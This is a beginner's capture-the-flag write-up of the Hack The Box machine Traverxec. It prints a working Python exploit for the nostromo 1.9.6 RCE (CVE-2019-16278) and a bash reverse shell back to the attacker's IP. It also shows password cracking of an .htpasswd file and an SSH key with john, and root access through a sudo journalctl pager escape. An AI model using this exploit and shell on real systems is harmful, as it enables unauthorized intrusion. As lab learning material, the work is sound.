My first box, it was quite a fun and straightforward one. Got foothold from enumerating software versions, googling CVEs, then running the exploit. User was a lesson for RTFM, understanding manuals is a new thing for beginners like me. To get root we need to understand basic bash scripting, understanding “sudo -l” output, and using GTFObins.
Let’s put the IP into out /etc/hosts
as traverxec.htb
. I’ll masscan
for open ports and then use nmap
to save time.
masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.165 | tee masscan.output
Discovered open port 80/tcp on 10.10.10.165
Discovered open port 22/tcp on 10.10.10.165
Now let’s use nmap
on those ports.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http nostromo 1.9.6
# Nmap 7.80 scan initiated Sat Mar 28 10:23:43 2020 as: nmap -O -sV -p80,22 -oA nmap.output traverxec.htb
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http nostromo 1.9.6
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 28 10:24:03 2020 -- 1 IP address (1 host up) scanned in 20.53 seconds
What’s nostromo? Googled “nostromo 1.9.6 vulnerability” turns out it’s an RCE, found a py script in exploit-db. I modified the script a bit to make it easier. Here’s the cve2019_16278.py script.
#!/usr/bin/env python
import sys
import socket
def connect(soc):
response = ""
try:
while True:
connection = soc.recv(1024)
if len(connection) == 0:
break
response += connection
except:
pass
return response
def cve(target, port, cmd):
soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/bash HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload)
receive = connect(soc)
print(receive)
if __name__ == "__main__":
while 1:
cmd = raw_input("cmd> ")
cve("traverxec.htb", 80, cmd)
Download my modified cve2019_16278.py here.
Now we got a shell as “www-data”, let’s try to get user.
I just remembered about reverse shells, so let’s establish one.
nc -lvp 1234
Then I’ll execute this through the CVE script.
/bin/bash -i >& /dev/tcp/10.10.my.ip/1234 0>&1
I wandered around /home to see the users.
So it’s just david, notice that we don’t have read permission for david/
.
Yet we can somehow can still cd
into it, which isn’t supposed to be possible, though we can’t ls
in there. But I also don’t know why, so let’s just keep this in mind for now.
So then I wandered around /var
, turns out the nostromo server files are in /var/nostromo
, so then I looked around.
Let’s try /var/nostromo/htdocs
first because that’s where the pages are located.
Nothing interesting, I also checked the subdirs and the other files here. so let’s try another, how about /var/nostromo/conf
.
Alright we found a .htpasswd
, meaning:
.htaccess
somewhere, andjohn
on it, and we got the password “Nowonly4me”.The .htaccess
isn’t here, so let’s look at nhttpd.conf
which seems like the main config file for this nostromo server.
Since I don’t know what anything means, let’s google. “what is nhttpd.conf” got me straight into a nostromo webserver manual page about the file.
Everything seems normal, but then there’s this part.
HOMEDIRS
To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/
The content of the home directory is handled exactly the same way as a directory in your document root. If some users don’t want that their home directory can be accessed via HTTP, they shall remove the world readable flag on their home directory and a caller will receive a 403 Forbidden response. Also, if basic authentication is enabled, a user can create an .htaccess file in his home directory and a caller will need to authenticate. You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.
In out nhttpd.conf
we have this part that corresponds.
...
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
So let’s try to access /home/david/
from the url then.
Looks like we hit a wall here, I tried to see if the .htaccess
is here, but I got 404. After a bit of head scratching, I read the man page again and tried to fully grasp what this sentence meant.
You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.
Along with the corresponding line in the nhttpd.conf
file.
...
homedirs_public public_www
I tried to access it from the url, but got 404. So I read the sentence again, and tried to cd
into public_www/
from /home/david
and whaddya know.
So it turns out you can’t just cd *
, rather you have to know the full dir name. Also there’s still no .htaccess
here, though it does have index.html
, so let’s try that in the url.
Now I’m starting to understand that sentence in the man page, because homedirs_public
is set to public_www
, the dir david/public_www
is the only dir accessible from the url, not the entire david/
, and when we access ~david/
from the url, we immediately get into david/public_www
. Now let’s see what’s in here.
We found the .htaccess
which is probably where our cracked .htpasswd
will come in, we also found a tgz archive, we have some options here.
.htpasswd
So I sent it directly with nc
, then decompressed it.
Then I tried to ssh in with the id_rsa
key, but turns out the key needs a password in order to be used. After googling “cracking ssh key password”, now we know how to crack the key password with john. First we need to run ssh2john.py
script on the key.
/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
Then we can start bruteforcing it.
john id_rsa.hash
We got the password “hunter”.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
hunter (id_rsa)
Proceeding with incremental:ASCII
1g 0:00:00:14 3/3 0.07037g/s 809127p/s 809127c/s 809127C/s pjm2cg..pjmpsy
Session aborted
Now let’s ssh in.
We got user!
After wandering around, I found this script in /home/david/bin
.
Tried running it, it ran without asking for password, wierd because it has this line.
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
It has sudo
so it should’ve asked for a password right? So then I googled quite a bit about “simple linux privilege escalation”, and it turns out that users can actually do privileged commands with no password if set that way by root. We can see it by running sudo -l
but to do that we need the root password. I then tried GTFOBins and searched for “journalctl”.
This invokes the default pager, which is likely to be less, other functions may apply.
If it calls a pager, then what’s the pipe to /usr/bin/cat
for? So I tried running the whole line but without cat
. It did call the pager.
We got root!
cat
and not allow any interactive input, as described here.Next in Pentest: Remote › |